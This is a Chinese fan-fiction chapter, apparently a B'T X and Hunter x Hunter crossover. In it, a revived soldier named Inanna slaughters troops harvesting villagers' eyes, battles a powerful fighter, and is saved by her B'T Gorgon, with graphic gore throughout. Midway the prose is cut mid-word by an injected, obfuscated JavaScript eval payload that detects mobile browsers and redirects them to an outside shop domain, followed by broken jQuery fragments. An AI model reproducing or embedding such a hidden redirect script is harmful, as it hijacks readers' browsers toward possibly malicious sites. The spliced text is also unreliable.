伊南娜不知道死人也会做梦,但是她确实梦到很久以前的事。
梦里有阳光下波光粼粼的海水,还有海面上随波荡漾的渔船,模糊不清的人影踏上码头,蹲下身对她招手,她快乐地跑过去骑在那人肩上,与他一起走往回家的方向,路过的老神父告状她逃掉早课,家门口有人抄着衣架虎视眈眈。
伊南娜飞快地跳到石板路上,风一样转瞬跑到很远的地方,辽阔的天空在这时有群鸟飞过,再回头就是火海与焦土,依然面目模糊的人们在烈火中扭曲哀嚎,伊南娜听到自己也在嚎啕大哭。
似远似近的哭声逐渐低弱,带走天堂与炼狱交织的景象,梦里的世界只剩下漫无边际的黑暗。
伊南娜以为自己终于能够被这黑暗安静地埋葬,却有一隙微光照入,犹如创世纪的第一个篇章,神明自水上行过分开了光明与黑暗,缥缈轻柔的声音对她说——
「伊南娜,去寻找太阳的碎片吧。」
“那是什么东西?”
伊南娜疑惑地问道,更加惊讶她竟然真的能够发出声音。
幻觉般的话语却不再继续,不知从何而来的微光缓慢扩大,为她展开一个鲜活的世界。
没有荒漠,没有黄沙,没有废墟,没有残骸,天空蔚蓝而高远,白云缓慢地漂浮,金色的阳光让她刚刚睁开的双眼又想要再次闭上。
微风富含水汽,拂过奇形怪状的林木,吹动枝叶沙沙作响,花草芬芳沁入鼻腔,一切都宁静而舒缓,以至于随风而来的惨叫声与血腥气都好像只是一场噩梦的余烬。
伊南娜循着声音与气味的源头迈出脚步,她其实不知道应该往哪里去,但冥冥中好像有种力量让她只能走向那个地方。
她穿过树林,步上一条有脚印和车辙的土路,走进一个干净又质朴的村落。
惨叫声已经消失了,血腥气却越发浓厚,村里随处可见战斗的痕迹,既有刀剑也有枪弹,唯独没有人,所有人都集中在一处空地上。
看到人影时伊南娜就不再接近,而是藏身在一栋房屋后面,她看到那处空地上有许多人,既有活人也有死人。
死人显而易见就是这个村庄的居民,粗略算去约有上百人,全都穿着相似的服饰,两两相对倒在地上,一边可以看出生前曾经遭到惨无人道的对待,无论老少都是伤痕累累、面目全非,另一边则已经被砍掉头颅,正在被活着的人挖出双眼,从手法到器械都非常专业,眼球离体后立刻被放入盛满液体的玻璃罐中。
那些活人在举手投足间充满伊南娜熟悉的影子,长期接受系统化军事训练形成的习惯于细枝末节处难以掩饰,他们应该是在执行秘密任务,所有没有一个人身着军装、佩戴军衔。
而这毫无疑问是一场针对平民的屠杀。
在成为据点守卫之前,伊南娜是机械皇国开疆扩土的刺刀,歼敌无数,战功彪炳,但她从未有过残忍虐杀之举,也不会故意损坏遗体,杀人于她而言是不得不做的任务,而非自我的享乐,纯粹为了私欲而施行的杀戮伊南娜不能理解也无法接受,有着崇高理想的皇帝陛下想必也不会容忍这样毋庸置疑之恶。
确认那些人的目标只是死者的眼睛,伊南娜抬起右手,她的B’T已经在她眼前化作废铁,但她即便只剩自己也有战斗能力,她将右手转化为锐利的刀剑,走出掩体,径直冲进还在收割眼球的队伍里。
她是轻风,是暗影,是鬼魅,是死神,所经之处残碎的肢体无声飞起又落下,生化□□化形的武器削铁如泥,让每一处断口都光滑平整,还未喷出血液她就转移到下一个人面前。
对方终于反应过来时已经折损近半数,离伊南娜较远的人仓促组织反攻,子弹才刚上膛就被同时削掉枪管和头颅,伊南娜不需要他们惨叫和求饶,她杀人总是果决又高效,因为她不喜欢面对由她亲手制造的尸体,无论他们无辜与否。
“那边的!你们还要看到什么时候!”
似乎是领队的人在刀刃逼近时高声叫道,连滚带爬地从地上抓起一具尸体扔向伊南娜。
伊南娜分神往他喊话的地方看了一眼,那边的树荫下还站着几个人,非常奇怪,他们并没有刻意隐藏身形,但在此之前她竟然没有注意到他们的存在。
那几个人明显属于另一个团体,为首一人是个黑发黑眼的青年男子,似乎本就在观察伊南娜,短暂地与她视线相交,给伊南娜一种难以言喻的感觉,她无暇去分辨。
青年单手插兜,站姿随意,等到伊南娜劈开尸体,并将那个逃跑不及的领队一并斩杀后,他才慢悠悠地说:“我们只负责‘开路’,保护你们本来就不在我们的任务范围内。”
领队分成两半均匀地趴在地上,已经连一个字都听不见。
终于没有还能站着呼吸的人,伊南娜转向那个黑发青年,盯着他与他身边的男男女女,血珠顺着锋刃自剑尖滑落,像露水滴在草叶上,在伊南娜耳中传进微乎其微的声响。
她再次冲上去。
“团长,我能跟她打吗?”
黑发青年身边一个形容粗犷的男人问道,话音未落就踏出脚步,浑身战意沸腾燃烧。
“你去吧。”
青年在他背后说。
短短两句话间伊南娜就已经逼近他们。
男人赤手空拳地迎上前来,和碎得满地都是的不明军队完全是天壤之别,伊南娜看得出来他不好对付,所以没有留手,全力劈砍却只在男人颈侧划出一条血痕,他的体表好像有看不见的铠甲保护,无论伊南娜从哪个角度、瞄准哪个部位进攻都无法突破。
“你没有其他招数了吗?那就轮到我了。”
男人好整以暇地活动了一下筋骨,虎虎生威地挥起拳头,他比伊南娜高大许多,这一击并不适合硬接,伊南娜矮身从他拳头下方滑过,右手刀剑瞬间变形为短斧,顺势砍在男人胸腹之间。
这一次男人终于见血,但依然只是皮肉损伤,他的动作灵活得与体型不相匹配,抓住机会重拳砸向伊南娜的后背,伊南娜迅速回防用生化短斧格挡,男人的拳头继而如暴雨般密集地落下,没有给她任何喘息的机会。
伊南娜知道自己已经处于下风,这个男人是她平生所遇个体战力最强之人,简直无法相信他是纯粹的人类,她开始思考是否应该先行撤退,毕竟男人还有同伴,看起来也都不是泛泛之辈。
刚刚生出想法,男人就突然停下手,伊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509208|202925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
南娜趁机拉开距离,见男人咧嘴露出堪称狂妄的笑容:“你很不错,作为普通人来说真的非常出色,快要够得上一般的强化系了。再这样打下去也没有意思,正好我想试试新招数,你做好准备吧。”
说完男人还是像之前一样单调地举起拳头,这一次伊南娜却能明显感觉到有某种看不见的力量在他身上奔涌,整个人都被他锁定,战斗直觉和危机本能让她立刻将短斧转化为厚重的盾牌挡在身前。
生化□□是皇国机械与医疗结合的独特技术,让失去肢体的人也能像常人一样生存和战斗,其强度足以抵挡小型炮弹,然而男人这次击出的拳头威力更甚,咆哮与重压犹如陨石坠落,伊南娜立刻感到生化□□与血肉之躯的连接处传来撕裂般的剧痛,盾牌表面也崩出细密的裂痕。
“真可惜啊,看来还是我的‘超破坏拳’更强。”
下一拳紧随而至。
死于战场依然是无可避免的宿命所在,她应当有此结局,伊南娜在盾牌后面闭上眼,轻轻地发出叹息。
一道红色光线在此时于虚空中乍现,毫无预兆地直射在男人拳上,男人避之不及,顿住身形,惊讶地发现受击部位开始石化,迅速蔓延到全身每一处地方,瞬息之间他就化作一尊狰狞的石像。
本在袖手旁观的黑发青年闪身而来,重重一脚踢开伊南娜,另有一个做武士打扮的长发男人飞身跃起,自上而下挥剑斩落,却在触及伊南娜前戛然而止。
巨大的金属长蛇自伊南娜周身浮现,从碎片齑粉迅速拼合成型,保护性地将她缠绕,张开最让她熟悉的防护罩。
“戈尔工!”
伊南娜惊喜交加,这一刻的重逢让她觉得继续活着也不是坏事。
“属下来迟了,您没事就好。”
B’T戈尔工威慑地扇动它巨大的翅膀,飓风一般掀起尘土,震荡空气。
“撤。”
黑发青年当机立断,转身扛起石像拔腿狂奔,武士男犹豫了一下,放弃追击紧跟在后,其他人随即一起撤离。
周围安静下来,只剩下静默的尸体、落下的尘土,和挥之不去的浓烈血腥气。
伊南娜喘了一口气,靠在戈尔工身上休息,生化□□恢复原形,剧痛却并未减轻,让她错觉自己或许从未失去过一条手臂。
“现在再去主塔,也找不到人帮我修理吧。”
伊南娜闭着眼睛自嘲道。
实际上在她冲进基地主塔时,就已经连一个活人都见不到了。
“——”
她的话得到回应,却不是来自戈尔工,右臂传来碎裂的轻响,伊南娜睁眼看去,生化□□像真正的金属碎片一样滑出袖口、掉到地上,而后又缓慢聚拢,似是某种东西拖着支离破碎的身体蹒跚前行,蠕动着爬向血泊与尸体,尾部藕断丝连地延伸进伊南娜的衣袖里。
碎片之间丝丝缕缕地溢出黑色的絮状物,如有生命一般在接触到尸块瞬间缠绕而上,发出既像吮吸又像吞咽的声音,那块残尸很快就消失无踪,它又爬向下一个目标。
伊南娜曾经亲眼见过、亲身遭遇这样的景象,她站直身体,不可置信地睁大双眼,喃喃说道:“拉法尔……大人?”